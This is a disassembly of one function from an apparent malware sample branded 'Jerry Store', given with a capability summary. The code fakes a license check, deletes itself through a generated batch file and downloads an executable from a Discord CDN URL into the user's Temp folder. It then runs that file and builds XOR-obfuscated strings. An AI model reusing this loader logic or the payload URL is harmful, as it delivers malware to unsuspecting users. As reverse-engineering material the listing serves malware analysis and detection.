Function at 0x43a3c0
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Enumerate gui resources
Get disk information
Get session user name
Receive data
Self delete
Set console window title
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x478567
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x770
mov eax, dword [0x497080]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
lea eax, [ebp - 0x5e0]
push 0xb8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push str.firstrun.txt
lea ecx, [ebp - 0x5e0]
call fcn.0043c510
mov eax, dword [ebp - 0x5e0]
lea ecx, [ebp - 0x5e0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x5e0]
mov byte [ebp - 0x5e1], al
call fcn.00439ec0
cmp byte [ebp - 0x5e1], 0
jne 0x43a569
lea ecx, [ebp - 0x4e8]
call fcn.00439f80
push 0x104
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x4e8]
call fcn.0043cdc0
push eax
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.0043a210
push ecx
lea ecx, [ebp - 0x5d8]
call fcn.0043a3a0
sub esp, 0xc
lea ecx, [ebp - 0x5d8]
push str.delete_old.bat
call fcn.0043b920
lea eax, [ebp - 0x5d8]
mov byte [ebp - 4], 1
push str.timeout__t_5_n
push eax
call fcn.0043dc60
add esp, 8
lea eax, [ebp - 0x160]
push 0x488e24
push ecx
push eax
push ecx
lea eax, [ebp - 0x5d8]
push str.del__
push eax
call fcn.0043dc60
add esp, 0xc
push eax
call fcn.0043dc60
add esp, 0xc
push eax
call fcn.0043dc60
add esp, 8
lea ecx, [ebp - 0x5d8]
call fcn.0043b8f0
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0
push str.delete_old.bat
push str.open
push 0
call esi
push 5
push 0
push 0
lea ecx, [ebp - 0x4e8]
call fcn.0043cdc0
push eax
push str.open
push 0
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x19
xorps xmm0, xmm0
mov dword [ebp - 0x4a4], 0
push str.clr9cf3tf0020pq01t63g8j3j
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 0x4a0], 0
movups xmmword [ebp - 0x4b4], xmm0
call fcn.0043ec20
lea eax, [ebp - 0x4b4]
mov dword [ebp - 4], 2
push eax
call fcn.00458b63
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x4a0]
cmp ecx, 0xf
jbe 0x43a5f2
mov edx, dword [ebp - 0x4b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a5e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43a5e8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004765e8
add esp, 8
push str.Jerry_Store
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
mov dword [ebp - 0x48c], 0
movups xmmword [ebp - 0x49c], xmm0
mov dword [ebp - 0x488], 0xf
mov byte [ebp - 0x49c], 0
push 0xfffffffffffffff5
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, eax
push 2
push edi
call esi
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x50c]
movzx eax, word [ebp - 0x50e]
push ecx
push eax
movzx eax, word [ebp - 0x510]
push eax
movzx eax, word [ebp - 0x518]
push eax
movzx eax, word [ebp - 0x516]
push eax
movzx eax, word [ebp - 0x512]
push eax
push str._n_02d__02d__04d__02d:_02d:_02d_n_n
call fcn.0042e4b0
add esp, 0x1c
push 7
push edi
call esi
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x474], 0
push str.C:license.txt
lea ecx, [ebp - 0x484]
mov dword [ebp - 0x470], 0
movups xmmword [ebp - 0x484], xmm0
call fcn.0043ec20
push 0xb8
lea eax, [ebp - 0x5e0]
mov byte [ebp - 4], 4
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x470], 0xf
lea eax, [ebp - 0x484]
lea ecx, [ebp - 0x5e0]
cmova eax, dword [ebp - 0x484]
push eax
call fcn.0043c510
mov eax, dword [ebp - 0x5e0]
lea ecx, [ebp - 0x5e0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x5e0]
mov byte [ebp - 0x5e1], al
call fcn.00439ec0
cmp byte [ebp - 0x5e1], 0
je 0x43a82f
push 0xb8
lea eax, [ebp - 0x5e0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x470], 0xf
lea eax, [ebp - 0x484]
lea ecx, [ebp - 0x5e0]
cmova eax, dword [ebp - 0x484]
push eax
call fcn.0043c510
mov eax, dword [ebp - 0x5e0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x5e4], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x5e0]
mov eax, dword [ebp - 0x5e0]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
push eax
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x5e0]
push eax
call fcn.0043f7b0
add esp, 0xc
lea ecx, [ebp - 0x5d0]
call fcn.0043d650
test eax, eax
jne 0x43a7de
mov eax, dword [ebp - 0x5e0]
lea ecx, [ebp - 0x5e0]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push str.License_loaded_from_file:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0043dc60
cmp dword [ebp - 0x488], 0xf
lea ecx, [ebp - 0x49c]
push dword [ebp - 0x48c]
cmova ecx, dword [ebp - 0x49c]
push ecx
push eax
call fcn.0043f610
add esp, 0x14
mov ecx, eax
push 0x43de40
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x5e0]
call fcn.00439ec0
jmp 0x43a90e
push str.Enter_your_license:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0043dc60
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x49c]
call fcn.0043e080
push 0xb0
lea eax, [ebp - 0x5d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x470], 0xf
lea eax, [ebp - 0x484]
lea ecx, [ebp - 0x5d8]
cmova eax, dword [ebp - 0x484]
add esp, 8
push eax
call fcn.0043b920
mov eax, dword [ebp - 0x5d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x5dc], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x49c]
cmp dword [ebp - 0x488], 0xf
push dword [ebp - 0x48c]
cmova eax, dword [ebp - 0x49c]
push eax
lea eax, [ebp - 0x5d8]
push eax
call fcn.0043f610
add esp, 0xc
lea ecx, [ebp - 0x5d4]
call fcn.0043d650
test eax, eax
jne 0x43a903
mov eax, dword [ebp - 0x5d8]
lea ecx, [ebp - 0x5d8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x5d8]
call fcn.0043a2e0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x51c]
mov byte [ebp - 4], 7
push eax
push 0
push 0
push 0x488a0c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x43b8c6
mov ecx, dword [ebp - 0x51c]
lea esi, [ebp - 0x3f]
mov dword [ebp - 0x5e8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x5e8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x5e8], eax
test eax, eax
jne 0x43a947
lea eax, [ebp - 0x5e1]
push eax
lea eax, [ebp - 0x3f]
push eax
push esi
lea ecx, [ebp - 0x638]
call fcn.0043f4f0
lea eax, [ebp - 0x638]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x49c]
push eax
call fcn.00452281
mov byte [ebp - 4], 7
add esp, 8
mov ecx, dword [ebp - 0x624]
cmp ecx, 0xf
jbe 0x43a9e8
mov edx, dword [ebp - 0x638]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a9de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43a9de
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004765e8
add esp, 8
push str.Authenticated_successfully
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0043dc60
add esp, 8
mov ecx, eax
push 0x43de40
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x5f0], 0
push str.expiresAt
lea ecx, [ebp - 0x600]
mov dword [ebp - 0x5ec], 0
movups xmmword [ebp - 0x600], xmm0
call fcn.0043ec20
lea eax, [ebp - 0x600]
mov byte [ebp - 4], 9
push eax
call fcn.0044529f
mov byte [ebp - 4], 7
add esp, 4
mov ecx, dword [ebp - 0x5ec]
mov edi, eax
cmp ecx, 0xf
jbe 0x43aa93
mov edx, dword [ebp - 0x600]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aa89
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43aa89
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004765e8
add esp, 8
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub edi, eax
mov dword [ebp - 0x51c], edx
mov eax, 0xc22e4507
mov dword [ebp - 0x51c], edi
imul edi
mov ecx, edi
add esp, 4
add edx, edi
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
imul eax, esi, 0x15180
sub ecx, eax
mov eax, 0x91a2b3c5
imul ecx
mov eax, 0x91a2b3c5
add edx, ecx
mov ecx, dword [ebp - 0x51c]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0xe10
sub ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
jns 0x43ab28
neg eax
push eax
lea eax, [ebp - 0x27]
push eax
call fcn.0043f4b0
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43ab35
push eax
lea eax, [ebp - 0x27]
push eax
call fcn.0043f4b0
add esp, 8
lea ecx, [ebp - 0x5e1]
push ecx
lea ecx, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x4e8]
call fcn.0043f4f0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x3f]
test edi, edi
jns 0x43ab6a
neg edi
push edi
push eax
call fcn.0043f4b0
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43ab74
push edi
push eax
call fcn.0043f4b0
add esp, 8
lea ecx, [ebp - 0x5e1]
push ecx
lea ecx, [ebp - 0x3f]
push ecx
push eax
lea ecx, [ebp - 0x658]
call fcn.0043f4f0
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x27]
test esi, esi
jns 0x43aba9
neg esi
push esi
push eax
call fcn.0043f4b0
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43abb3
push esi
push eax
call fcn.0043f4b0
add esp, 8
lea ecx, [ebp - 0x5e1]
push ecx
lea ecx, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x618]
call fcn.0043f4f0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x604]
mov eax, ecx
mov edx, dword [ebp - 0x608]
sub eax, edx
cmp eax, 0xd
jb 0x43ac70
cmp ecx, 0xf
lea esi, [ebp - 0x618]
lea eax, [edx + 0xd]
cmova esi, dword [ebp - 0x618]
mov dword [ebp - 0x608], eax
cmp esi, 0x488f15
jae 0x43ac28
lea eax, [esi + edx]
cmp eax, str.Time_Remain:
jb 0x43ac28
cmp esi, str.Time_Remain:
ja 0x43ac1e
xor edi, edi
jmp 0x43ac2d
mov edi, esi
sub edi, str.Time_Remain:
jmp 0x43ac2d
mov edi, 0xd
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0xd]
push esi
push ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push edi
push str.Time_Remain:
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [esi + edi]
mov eax, 0xd
sub eax, edi
push eax
lea eax, [edi + 0x488f15]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x618]
jmp 0x43ac93
push 0xd
push str.Time_Remain:
push 0
mov byte [ebp - 0x51c], 0
lea ecx, [ebp - 0x618]
push dword [ebp - 0x51c]
push 0xd
call fcn.0043fb60
mov dword [ebp - 0x5f0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x600], xmm0
mov dword [ebp - 0x5ec], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x600], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push str._Day
lea eax, [ebp - 0x600]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x638]
push eax
call fcn.0043deb0
add esp, 0xc
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 0xe
push ecx
push eax
push dword [ebp - 0x46c]
lea ecx, [ebp - 0x750]
call fcn.0043f090
push str._Hour
lea eax, [ebp - 0x750]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x76c]
push eax
call fcn.0043deb0
add esp, 0xc
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x10
push ecx
push eax
push dword [ebp - 0x46c]
lea ecx, [ebp - 0x738]
call fcn.0043f090
push str._Minute
lea eax, [ebp - 0x738]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x4b4]
push eax
call fcn.0043deb0
add esp, 0xc
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x724]
cmp ecx, 0xf
jbe 0x43adae
mov edx, dword [ebp - 0x738]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ada4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x728], 0
mov dword [ebp - 0x724], 0xf
mov byte [ebp - 0x738], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x758]
cmp ecx, 0xf
jbe 0x43ae07
mov edx, dword [ebp - 0x76c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43adfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x75c], 0
mov dword [ebp - 0x758], 0xf
mov byte [ebp - 0x76c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x73c]
cmp ecx, 0xf
jbe 0x43ae60
mov edx, dword [ebp - 0x750]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ae56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x73c], 0xf
mov byte [ebp - 0x750], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x624]
cmp ecx, 0xf
jbe 0x43aeb9
mov edx, dword [ebp - 0x638]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aeaf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 0xf
mov byte [ebp - 0x638], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x5ec]
cmp ecx, 0xf
jbe 0x43af12
mov edx, dword [ebp - 0x600]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43af08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x5f0], 0
mov dword [ebp - 0x5ec], 0xf
mov byte [ebp - 0x600], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x604]
cmp ecx, 0xf
jbe 0x43af6b
mov edx, dword [ebp - 0x618]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43af61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov dword [ebp - 0x608], 0
mov dword [ebp - 0x604], 0xf
mov byte [ebp - 0x618], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x644]
cmp ecx, 0xf
jbe 0x43afc0
mov edx, dword [ebp - 0x658]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43afb6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aff0
push ecx
push edx
call fcn.004765e8
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x4d4]
cmp ecx, 0xf
jbe 0x43b000
mov edx, dword [ebp - 0x4e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aff6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43aff6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004765e8
add esp, 8
cmp dword [ebp - 0x4a0], 0xf
lea eax, [ebp - 0x4b4]
push 0x40
cmova eax, dword [ebp - 0x4b4]
push str.Jerry_Store
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x46c]
mov dword [ebp - 0x46c], 0x104
push eax
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x468]
push eax
push str.C:Users_sAppDataLocalTempJerry01.exe
lea eax, [ebp - 0x260]
push 0x104
push eax
call fcn.0042e470
add esp, 0x10
lea eax, [ebp - 0x260]
push 0
push 0
push eax
push str.https:__cdn.discordapp.com_attachments_1198974771849863278_1199283470069923900_Jerry01.exe_ex65c1fac4is65af85c4hmcabe859d66f840c700a3685838e3949cda96c5f277d7c75a53da7d249e976884
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, eax
test esi, esi
js 0x43b146
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4890e0
call fcn.0043e390
lea edx, [ebp - 0x260]
mov ecx, eax
call fcn.0043e390
push 0x43e590
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push 0
push 0
push 0
lea eax, [ebp - 0x260]
push eax
push 0x489110
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, eax
cmp esi, 0x20
jg 0x43b0f5
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, 0x489120
call fcn.0043e390
push esi
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
push 0x43e590
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x43b123
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x489164
call fcn.0043e390
jmp 0x43b15f
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, 0x489180
call fcn.0043e390
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int_]
jmp 0x43b15f
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, 0x4891b8
call fcn.0043e390
push esi
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
push 0x43e590
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
call fcn.00439a80
push dword [0x4a881c]
push 0x432d60
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x6c0], 0x2ecece6b
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x6bc], 0x7d1fcaf3
lea edx, [ecx + 1]
mov dword [ebp - 0x6b8], 0xb352ffab
xorps xmm0, xmm0
mov dword [ebp - 0x6b4], 0x726f76d9
movups xmm1, xmmword [ebp - 0x6c0]
mov dword [ebp - 0x6b0], 0xaf1a4822
mov dword [ebp - 0x6ac], 0x70a086
mov dword [ebp - 0x6a8], 0x61d448e5
mov dword [ebp - 0x6a4], 0x6f2215cf
movups xmm2, xmmword [ebp - 0x6b0]
mov dword [ebp - 0x6a0], 0x6a59318f
mov dword [ebp - 0x69c], 0x436fcaa0
mov dword [ebp - 0x698], 0xd121c5f8
mov dword [ebp - 0x694], 0x1e04a3a5
movups xmm3, xmmword [ebp - 0x6a0]
mov dword [ebp - 0x690], 0xe26490d8
mov dword [ebp - 0x68c], 0x7fc7cd0e
mov dword [ebp - 0x688], 0x369f0e99
mov dword [ebp - 0x684], 0xb4ce34b7
movups xmm4, xmmword [ebp - 0x690]
mov dword [ebp - 0x680], 0x6b2b5efa
mov dword [ebp - 0x67c], 0xef30f4f
mov dword [ebp - 0x678], 0xfe7c3ee7
mov dword [ebp - 0x674], 0xb56af91a
movups xmm5, xmmword [ebp - 0x680]
mov dword [ebp - 0x670], 0xf928a7fa
mov dword [ebp - 0x66c], 0xad11335d
mov dword [ebp - 0x668], 0x633a4e9e
mov dword [ebp - 0x664], 0x7bed7573
movups xmm6, xmmword [ebp - 0x670]
mov dword [ebp - 0x720], 0x5ebaba03
mov dword [ebp - 0x71c], 0x5230f080
mov dword [ebp - 0x718], 0x9d3c9bc8
mov dword [ebp - 0x714], 0x111c1fbd
mov dword [ebp - 0x710], 0xce7e3a4d
mov dword [ebp - 0x70c], 0x635ed0f6
mov dword [ebp - 0x708], 0xfb258a
mov dword [ebp - 0x704], 0xc4361bb
xorps xmm2, xmmword [ebp - 0x710]
mov dword [ebp - 0x700], 0x43c5ce7
mov dword [ebp - 0x6fc], 0x7a40b9d4
mov dword [ebp - 0x6f8], 0xe610f0cc
mov dword [ebp - 0x6f4], 0x2c319691
xorps xmm3, xmmword [ebp - 0x700]
mov dword [ebp - 0x6f0], 0xd452a8e1
mov dword [ebp - 0x6ec], 0x4ff1f53a
mov dword [ebp - 0x6e8], 0x3a621ae
mov dword [ebp - 0x6e4], 0x87f70c8f
xorps xmm4, xmmword [ebp - 0x6f0]
mov dword [ebp - 0x6e0], 0x5e1d6ecb
mov dword [ebp - 0x6dc], 0x3ec73e78
mov dword [ebp - 0x6d8], 0xce450dd0
mov dword [ebp - 0x6d4], 0xc50f8b35
xorps xmm5, xmmword [ebp - 0x6e0]
mov dword [ebp - 0x6d0], 0xa15cd595
mov dword [ebp - 0x6cc], 0xc93f016e
mov dword [ebp - 0x6c8], 0x633a22f2
mov dword [ebp - 0x6c4], 0x7bed7573
xorps xmm6, xmmword [ebp - 0x6d0]
movups xmmword [ebp - 0x590], xmm1
mov dword [ebp - 0x4f8], 0
xorps xmm1, xmmword [ebp - 0x720]
movaps xmmword [ebp - 0x590], xmm1
movaps xmmword [ebp - 0x580], xmm2
movaps xmmword [ebp - 0x570], xmm3
movaps xmmword [ebp - 0x560], xmm4
movaps xmmword [ebp - 0x550], xmm5
movaps xmmword [ebp - 0x540], xmm6
movups xmmword [ebp - 0x508], xmm0
mov dword [ebp - 0x4f4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b410
sub ecx, edx
lea eax, [ebp - 0x590]
push ecx
push eax
lea ecx, [ebp - 0x508]
call fcn.0043ec20
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x640]
mov dword [ebp - 0x4f0], 0x9e68040
lea edx, [ecx + 1]
mov dword [ebp - 0x4ec], 0x3d549ee9
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0xce60e8bf
mov dword [ebp - 0x4e4], 0x74686cc4
movups xmm1, xmmword [ebp - 0x4f0]
mov dword [ebp - 0x4e0], 0x924c0920
mov dword [ebp - 0x4dc], 0x4d2da985
mov dword [ebp - 0x4d8], 0x924be3
mov dword [ebp - 0x4d4], 0xc4361bb
movups xmm2, xmmword [ebp - 0x4e0]
mov dword [ebp - 0x660], 0x5ebaba03
movups xmmword [ebp - 0x640], xmm1
mov dword [ebp - 0x65c], 0x5230f080
mov dword [ebp - 0x658], 0x9d3c9bc8
mov dword [ebp - 0x654], 0x111c1fbd
